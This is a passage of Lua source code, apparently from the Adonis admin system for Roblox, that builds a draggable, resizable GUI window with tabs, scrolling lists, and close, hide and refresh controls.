end\n\t\t\t\t\tfor i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\tif data.OnFocus then\n\t\t\t\t\t\tdata.OnFocus(true)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tif numTabs == 0 then\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\ttabButton.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not disabled then\n\t\t\t\t\t\ttabFrame:FocusTab()\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\ttabButton.Parent = buttons\n\t\t\t\ttabFrame.Parent = frames\n\t\t\t\tbuttons:ResizeCanvas(true, false)\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"Disable\", function()\n\t\t\t\t\tdisabled = true;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.9;\n\t\t\t\t\ttabButton.TextTransparency = 0.9\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"Enable\", function()\n\t\t\t\t\tdisabled = false;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.7;\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0;\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tnumTabs = numTabs+1;\n\t\t\t\t\n\t\t\t\treturn tabFrame,tabButton\n\t\t\tend)\n\t\tend\n\t\t\n\t\tif class == \"ScrollingFrame\" then\n\t\t\tlocal genning = false\n\t\t\tif not data.ScrollBarThickness then\n\t\t\t\tdata.ScrollBarThickness = dScrollBar\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"GenerateList\", function(obj, list, labelProperties, bottom)\n\t\t\t\tlocal list = list or obj;\n\t\t\t\tlocal genHold = {}\n\t\t\t\tlocal entProps = labelProperties or {}\n\t\t\t\t\n\t\t\t\tgenning = genHold\n\t\t\t\tnew:ClearAllChildren()\n\t\t\t\t\n\t\t\t\tlocal num = 0\n\t\t\t\tfor i,v in next,list do\n\t\t\t\t\tlocal text = v;\n\t\t\t\t\tlocal desc;\n\t\t\t\t\tlocal color\n\t\t\t\t\tlocal richText;\n\t\t\t\t\t\n\t\t\t\t\tif type(v) == \"table\" then\n\t\t\t\t\t\ttext = v.Text\n\t\t\t\t\t\tdesc = v.Desc\n\t\t\t\t\t\tcolor = v.Color\n\t\t\t\t\t\t\n\t\t\t\t\t\tif v.RichTextAllowed or entProps.RichTextAllowed then\n\t\t\t\t\t\t\trichText = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal label = create(\"TextLabel\",{\n\t\t\t\t\t\tText = \" \"..tostring(text);\n\t\t\t\t\t\tToolTip = desc;\n\t\t\t\t\t\tSize = UDim2.new(1,-5,0,(entProps.ySize or 20));\n\t\t\t\t\t\tVisible = true;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tFont = \"Arial\";\n\t\t\t\t\t\tTextSize = 14;\n\t\t\t\t\t\tTextStrokeTransparency = 0.8;\n\t\t\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\t\t\tPosition = UDim2.new(0,0,0,num*(entProps.ySize or 20));\n\t\t\t\t\t\tRichText = richText or false;\n\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\tif color then\n\t\t\t\t\t\tlabel.TextColor3 = color\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif labelProperties then\n\t\t\t\t\t\tfor i,v in next,entProps do\n\t\t\t\t\t\t\tif checkProperty(label, i) then\n\t\t\t\t\t\t\t\tlabel[i] = v\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif genning == genHold then\n\t\t\t\t\t\tlabel.Parent = new;\n\t\t\t\t\telse\n\t\t\t\t\t\tlabel:Destroy()\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tnum = num+1\n\t\t\t\t\t\n\t\t\t\t\tif data.Delay then \n\t\t\t\t\t\tif type(data.Delay) == \"number\" then\n\t\t\t\t\t\t\twait(data.Delay) \n\t\t\t\t\t\telseif i%100 == 0 then \n\t\t\t\t\t\t\twait(0.1) \n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tnew:ResizeCanvas(false, true, false, bottom, 5, 5, 50)\n\t\t\t\tgenning = nil\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"ResizeCanvas\", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)\n\t\t\t\tlocal xPadding,yPadding = data.xPadding or 5, data.yPadding or 5\n\t\t\t\tlocal newY, newX = 0,0\n\t\t\t\t\n\t\t\t\tif not onX and not onY then onX = false onY = true end\n\t\t\t\tfor i,v in next,new:GetChildren() do\n\t\t\t\t\tif v:IsA(\"GuiObject\") then\n\t\t\t\t\t\tif onY then\n\t\t\t\t\t\t\tv.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)\n\t\t\t\t\t\t\tv.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tif onX then\n\t\t\t\t\t\t\tv.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)\n\t\t\t\t\t\t\tv.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal yLower = v.Position.Y.Offset + v.Size.Y.Offset\n\t\t\t\t\t\tlocal xLower = v.Position.X.Offset + v.Size.X.Offset\n\t\t\t\t\t\tnewY = math.max(newY, yLower)\n\t\t\t\t\t\tnewX = math.max(newX, xLower)\n\t\t\t\t\t\tif modBreak then\n\t\t\t\t\t\t\tif i%modBreak == 0 then \n\t\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif onY then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif onX then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif xMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif yMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tif data.List then new:GenerateList(data.List) data.List = nil end\n\t\tend\n\t\t\n\t\tLoadChildren(new, data.Content or data.Children)\n\t\t\n\t\tdata.Children = nil\n\t\tdata.Content = nil\n\t\t\n\t\tfor i,v in next,data do\n\t\t\tif checkProperty(new, i) then\n\t\t\t\tnew[i] = v\n\t\t\tend\n\t\tend\n\t\t\n\t\tnew.Parent = parent\n\t\t\n\t\treturn apiIfy(new, data, class),data\n\tend\n\t\n\tfunction apiIfy(gui, data, class)\n\t\tlocal newGui = service.Wrap(gui)\n\t\tgui:SetSpecial(\"Object\", gui)\n\t\tgui:SetSpecial(\"SetPosition\", function(ignore, newPos) gui.Position = newPos end)\n\t\tgui:SetSpecial(\"SetSize\", function(ingore, newSize) gui.Size = newSize end)\n\t\tgui:SetSpecial(\"Add\", function(ignore, class, data)\n\t\t\tif not data then data = class class = ignore end\n\t\t\tlocal new = create(class,data);\n\t\t\tnew.Parent = gui;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\t\t\n\t\tgui:SetSpecial(\"Copy\", function(ignore, class, gotData)\n\t\t\tlocal newData = {}\n\t\t\tlocal new\n\t\t\t\n\t\t\tfor i,v in next,data do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\t\t\t\n\t\t\tfor i,v in next,gotData do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\t\t\t\n\t\t\tnew = create(class or data.Class or gui.ClassName, newData);\n\t\t\tnew.Parent = gotData.Parent or gui.Parent;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\t\t\n\t\treturn newGui\n\tend\n\t\n\tfunction doClose()\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tprint(onClose)\n\t\t\tif onClose then onClose() end\n\t\t\tgTable:Destroy()\n\t\tend\n\tend\n\t\n\tfunction isVisible()\n\t\treturn Main.Visible\n\tend\n\t\n\tlocal hideLabel = Hide:FindFirstChild(\"TextLabel\")\n\tfunction doHide(doHide)\n\t\tlocal origLH = Hide.LineHeight\n\t\tif doHide or (doHide == nil and Main.Visible) then\n\t\t\tdragSize = Drag.Size\n\t\t\tMain.Visible = false\n\t\t\tDrag.BackgroundTransparency = Main.BackgroundTransparency\n\t\t\tDrag.BackgroundColor3 = Main.BackgroundColor3\n\t\t\tDrag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\t\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Text = \"+\"\n\t\t\telse\n\t\t\t\tHide.Text = \"+\"\n\t\t\tend\n\t\t\t\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = true\n\t\telseif doHide == false or (doHide == nil and not Main.Visible) then\n\t\t\tMain.Visible = true\n\t\t\tDrag.BackgroundTransparency = 1\n\t\t\tDrag.Size = dragSize or Drag.Size\n\t\t\t\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Text = \"-\"\n\t\t\telse\n\t\t\t\tHide.Text = \"-\"\n\t\t\tend\n\t\t\t\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = false\n\t\tend\n\t\t\n\t\tif onMinimize then\n\t\t\tonMinimize(Main.Visible)\n\t\tend\n\t\t\n\t\tif Walls then\n\t\t\twallPosition()\n\t\tend\n\tend\n\t\n\tfunction isInFrame(x, y, frame)\n\t\tif x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\t\n\tfunction wallPosition()\n\t\tif gTable.Active then\n\t\t\tlocal x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y\n\t\t\tlocal abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y\n\t\t\tlocal ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y\n\t\t\t\n\t\t\tif x < 0 then\n\t\t\t\tDrag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\t\t\t\n\t\t\tif y < 0 then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)\n\t\t\tend\n\t\t\t\n\t\t\tif x + abx > gx then\n\t\t\t\tDrag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\t\t\t\n\t\t\tif y + ySize > gy then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfunction setSize(newSize)\n\t\tif newSize and type(newSize) == \"table\" then\n\t\t\tif newSize[1] < 50 then newSize[1] = 50 end\n\t\t\tif newSize[2] < 50 then newSize[2] = 50 end\n\t\t\t\n\t\t\tDrag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)\n\t\t\tMain.Size = UDim2.new(1,0,0,newSize[2])\n\t\tend \n\tend\n\t\n\tfunction setPosition(newPos)\n\t\tif newPos and typeof(newPos) == \"UDim2\" then\n\t\t\tDrag.Position = newPos\n\t\telseif newPos and type(newPos) == \"table\" then\n\t\t\tDrag.Position = UDim2.new(0, newPos[1], 0, newPos[2])\n\t\telseif Size and not newPos then\n\t\t\tDrag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)\n\t\tend \n\tend\n\t\n\tif Name then\n\t\tgTable.Name = Name\n\t\tif data.AllowMultiple ~= nil and data.AllowMultiple == false then\n\t\t\tlocal found, num = client.UI.Get(Name, GUI, true)\n\t\t\tif found then\n\t\t\t\tdoClose()\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif Size then\n\t\tsetSize(Size)\n\tend\n\t\n\tif Position then\n\t\tsetPosition(Position)\n\tend \n\t\n\tif Title then\n\t\tTitlef.Text = Title\n\tend\n\t\n\tif CanKeepAlive or not ResetOnSpawn then\n\t\tgTable.CanKeepAlive = true\n\t\tGUI.ResetOnSpawn = false\n\telseif ResetOnSpawn then\n\t\tgTable.CanKeepAlive = false\n\t\tGUI.ResetOnSpawn = true\n\tend\n\t\n\tif Icon then\n\t\tIconf.Visible = true\n\t\tIconf.Image = Icon\n\tend\n\t\n\tif CanvasSize then\n\t\tScrollFrame.CanvasSize = CanvasSize\n\tend\n\t\n\tif noClose then\n\t\tClose.Visible = false\n\t\tRefresh.Position = Hide.Position\n\t\tHide.Position = Close.Position\n\tend\n\t\n\tif noHide then\n\t\tHide.Visible = false\n\t\tRefresh.Position = Hide.Position\n\tend\n\t\n\tif Walls then\n\t\tDrag.DragStopped:Connect(function()\n\t\t\twallPosition()\n\t\tend)\n\tend\n\t\n\tif onRefresh then\n\t\tlocal debounce = false\n\t\tfunction DoRefresh()\n\t\t\tif not Refreshing then\n\t\t\t\tlocal done = false\n\t\t\t\tRefreshing = true\n\t\t\t\t\n\t\t\t\tspawn(function()\n\t\t\t\t\twhile gTable.Active and not done do\n\t\t\t\t\t\tfor i = 0,180,10 do\n\t\t\t\t\t\t\trSpinner.Rotation = -i\n\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tonRefresh()\n\t\t\t\twait(1)\n\t\t\t\tdone = true\n\t\t\t\tRefreshing = false\n\t\t\tend\n\t\tend\n\t\t\n\t\tRefresh.MouseButton1Down:Connect(function()\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\tDoRefresh()\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend)\n\t\t\n\t\tTitlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)\n\telse\n\t\tRefresh.Visible = false\n\tend\n\t\n\tif iconClicked then\n\t\tIconf.MouseButton1Down(function()\n\t\t\ticonClicked(data, GUI, Iconf)\n\t\tend)\n\tend\n\t\n\tif Menu then\n\t\tdata.Menu.Text = \"\"\n\t\tdata.Menu.Parent = Main\n\t\tdata.Menu.Size = UDim2.new(1,-10,0,25)\n\t\tdata.Menu.Position = UDim2.new(0,5,0,25)\n\t\tScrollFrame.Size = UDim2.new(1,-10,1,-55)\n\t\tScrollFrame.Position = UDim2.new(0,5,0,50)\n\t\tdata.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)\n\t\tdata.Menu.BorderSizePixel = 0\n\t\tcreate(\"TextLabel\",data.Menu)\n\tend\n\t\n\tif not SizeLocked then\n\t\tlocal startXPos = Drag.AbsolutePosition.X\n\t\tlocal startYPos = Drag.AbsolutePosition.Y\n\t\tlocal startXSize = Drag.AbsoluteSize.X\n\t\tlocal startYSize = Drag.AbsoluteSize.Y\n\t\tlocal vars = client.Variables\n\t\tlocal newIcon\n\t\tlocal inFrame\n\t\tlocal ReallyInFrame\n\t\t\n\t\tlocal function readify(obj)\n\t\t\tobj.MouseEnter:Connect(function()\n\t\t\t\tReallyInFrame = obj\n\t\t\tend)\n\t\t\t\n\t\t\tobj.MouseLeave:Connect(function()\n\t\t\t\tif ReallyInFrame == obj then\n\t\t\t\t\tReallyInFrame = nil\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t--[[\n\t\treadify(Drag)\n\t\treadify(ScrollFrame)\n\t\treadify(TopRight)\n\t\treadify(TopLeft)\n\t\treadify(RightCorner)\n\t\treadify(LeftCorner)\n\t\treadify(RightSide)\n\t\treadify(LeftSide)\n\t\treadify(Bottom)\n\t\treadify(Top)\n\t\t--]]\n\t\t\n\t\tfunction checkMouse(x, y) --// Update later to remove frame by frame pos checking\n\t\t\tif gTable.Active and Main.Visible then \n\t\t\t\tif isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\telseif isInFrame(x, y, TopRight) then\n\t\t\t\t\tinFrame = \"TopRight\"\n\t\t\t\t\tnewIcon = MouseIcons.TopRight\n\t\t\t\telseif isInFrame(x, y, TopLeft) then\n\t\t\t\t\tinFrame = \"TopLeft\"\n\t\t\t\t\tnewIcon = MouseIcons.TopLeft\n\t\t\t\telseif isInFrame(x, y, RightCorner) then\n\t\t\t\t\tinFrame = \"RightCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.RightCorner\n\t\t\t\telseif isInFrame(x, y, LeftCorner) then\n\t\t\t\t\tinFrame = \"LeftCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.LeftCorner\n\t\t\t\telseif isInFrame(x, y, RightSide) then\n\t\t\t\t\tinFrame = \"RightSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, LeftSide) then\n\t\t\t\t\tinFrame = \"LeftSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, Bottom) then\n\t\t\t\t\tinFrame = \"Bottom\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telseif isInFrame(x, y, Top) then\n\t\t\t\t\tinFrame = \"Top\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telse\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tinFrame = nil\n\t\t\tend\n\t\t\t\n\t\t\tif (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then\n\t\t\t\tif inFrame and newIcon then\n\t\t\t\t\tMouse.Icon = newIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = gTable\n\t\t\t\telseif client.Variables.MouseLockedBy == gTable then\n\t\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t\tclient.Variables.MouseLockedBy = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputStart(x, y)\n\t\t\tcheckMouse(x, y)\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputEnd()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--DragEnabled = true\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal function inputMoved(x, y)\n\t\t\tif gTable.Active then\n\t\t\t\tif Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then\n\t\t\t\t\tcurIcon = Mouse.Icon\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif Resizing then\n\t\t\t\t\tlocal moveX = false\n\t\t\t\t\tlocal moveY = false\n\t\t\t\t\tlocal newPos = Drag.Position\n\t\t\t\t\tlocal xPos, yPos = x, y\n\t\t\t\t\tlocal newX, newY = startXSize, startYSize\n\t\t\t\t\t\n\t\t\t\t\t--DragEnabled = false\n\t\t\t\t\t\n\t\t\t\t\tif Resizing == \"TopRight\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\telseif Resizing == \"TopLeft\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize -1\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize -1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightCorner\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"LeftCorner\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"LeftSide\" then\n\t\t\t\t\t\tnewX = (startXPos - xPos) + startXSize + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\t\tmoveX = true\n\t\t\t\t\telseif Resizing == \"RightSide\" then\n\t\t\t\t\t\tnewX = (xPos - startXPos) + 3\n\t\t\t\t\t\tnewY = startYSize\n\t\t\t\t\telseif Resizing == \"Bottom\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (yPos - startYPos) + 3\n\t\t\t\t\telseif Resizing == \"Top\" then\n\t\t\t\t\t\tnewX = startXSize\n\t\t\t\t\t\tnewY = (startYPos - yPos) + startYSize - 1\n\t\t\t\t\t\tmoveY = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif newX < MinSize[1] then newX = MinSize[1] end\n\t\t\t\t\tif newY < MinSize[2] then newY = MinSize[2] end\n\t\t\t\t\tif newX > MaxSize[1] then newX = MaxSize[1] end\n\t\t\t\t\tif newY > MaxSize[2] then newY = MaxSize[2] end\n\t\t\t\t\t\n\t\t\t\t\tif moveX then\n\t\t\t\t\t\tnewPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif moveY then\n\t\t\t\t\t\tnewPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tDrag.Position = newPos\n\t\t\t\t\tDrag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\t\t\tMain.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)\n\t\t\t\t\t\n\t\t\t\t\tif not Titlef.TextFits then\n\t\t\t\t\t\tTitlef.Visible = false\n\t\t\t\t\telse\n\t\t\t\t\t\tTitlef.Visible = true\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tcheckMouse(x, y)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tEvent(InputService.InputBegan, function(input, gameHandled)\n\t\t\tif not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tinputStart(Mouse.X, Mouse.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputChanged, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseMovement or Enum.UserInputType.Touch then\n\t\t\t\tinputMoved(input.Position.X, input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputEnded, function(input, gameHandled)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch then\n\t\t\t\tinputEnd()\n\t\t\tend\n\t\tend)\n\t\t\n\t\t--[[Event(Mouse.Button1Down, function()\n\t\t\tif gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then\n\t\t\t\tResizing = inFrame\n\t\t\t\tstartXPos = Drag.AbsolutePosition.X\n\t\t\t\tstartYPos = Drag.AbsolutePosition.Y\n\t\t\t\tstartXSize = Drag.AbsoluteSize.X\n\t\t\t\tstartYSize = Main.AbsoluteSize.Y\n\t\t\t\tcheckMouse()\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Mouse.Button1Up, function()\n\t\t\tif gTable.Active then\n\t\t\t\tif Resizing and onResize then\n\t\t\t\t\tonResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tResizing = nil\n\t\t\t\tMouse.Icon = curIcon\n\t\t\t\t--if Walls then\n\t\t\t\t--\twallPosition()\n\t\t\t\t--end\n\t\t\tend\n\t\tend)--]]\n\telse\n\t\tLeftSizeIcon.Visible = false\n\t\tRightSizeIcon.Visible = false\n\tend\n\t\n\t\n\tClose.MouseButton1Down:Connect(doClose)\n\tHide.MouseButton1Down:Connect(function() doHide() end)\n\tgTable.CustomDestroy = function()\n\t\tservice.UnWrap(GUI):Destroy()\n\t\tif client.Variables.MouseLockedBy == gTable then\n\t\t\tMouse.Icon = curIcon\n\t\t\tclient.Variables.MouseLockedBy = nil\n\t\tend\n\t\t\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tif onClose then\n\t\t\t\tonClose()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor i,child in next,GUI:GetChildren() do\n\t\tif child.Name ~= \"Desc\" and child.Name ~= \"Drag\" then\n\t\t\tspecialInsts[child.Name] = child\n\t\t\tchild.Parent = nil\n\t\tend\n\tend\n\t\n\t--// Drag & DisplayOrder Handler\n\tdo\n\t\tlocal windowValue = Instance.new(\"BoolValue\", GUI)\n\t\tlocal dragDragging = false\n\t\tlocal dragOffset\n\t\tlocal inFrame\n\t\t\n\t\twindowValue.Name = \"__ADONIS_WINDOW\"\n\t\t\n\t\tEvent(Main.InputBegan, function(input)\n\t\t\tif gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tBringToFront()\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputBegan, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\t\t\n\t\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\t\tBringToFront()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputChanged, function(input)\n\t\t\tif gTable.Active then\n\t\t\t\tinFrame = true\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(Drag.InputEnded, function(input)\n\t\t\tinFrame = false\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputBegan, function(input)\n\t\t\tif inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then\n\t\t\t\tdragDragging = true\n\t\t\t\tBringToFront()\n\t\t\t\tdragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputChanged, function(input)\n\t\t\tif dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\tDrag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)\n\t\t\tend\n\t\tend)\n\t\t\n\t\tEvent(InputService.InputEnded, function(input)\n\t\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then\n\t\t\t\tdragDragging = false\n\t\t\tend\n\t\tend)\n\tend\n\n\t--// Finishing up\n\tlocal api = apiIfy(ScrollFrame, data)\n\tlocal meta = api:GetMetatable()\n\tlocal oldNewIndex = meta.__newindex\n\tlocal 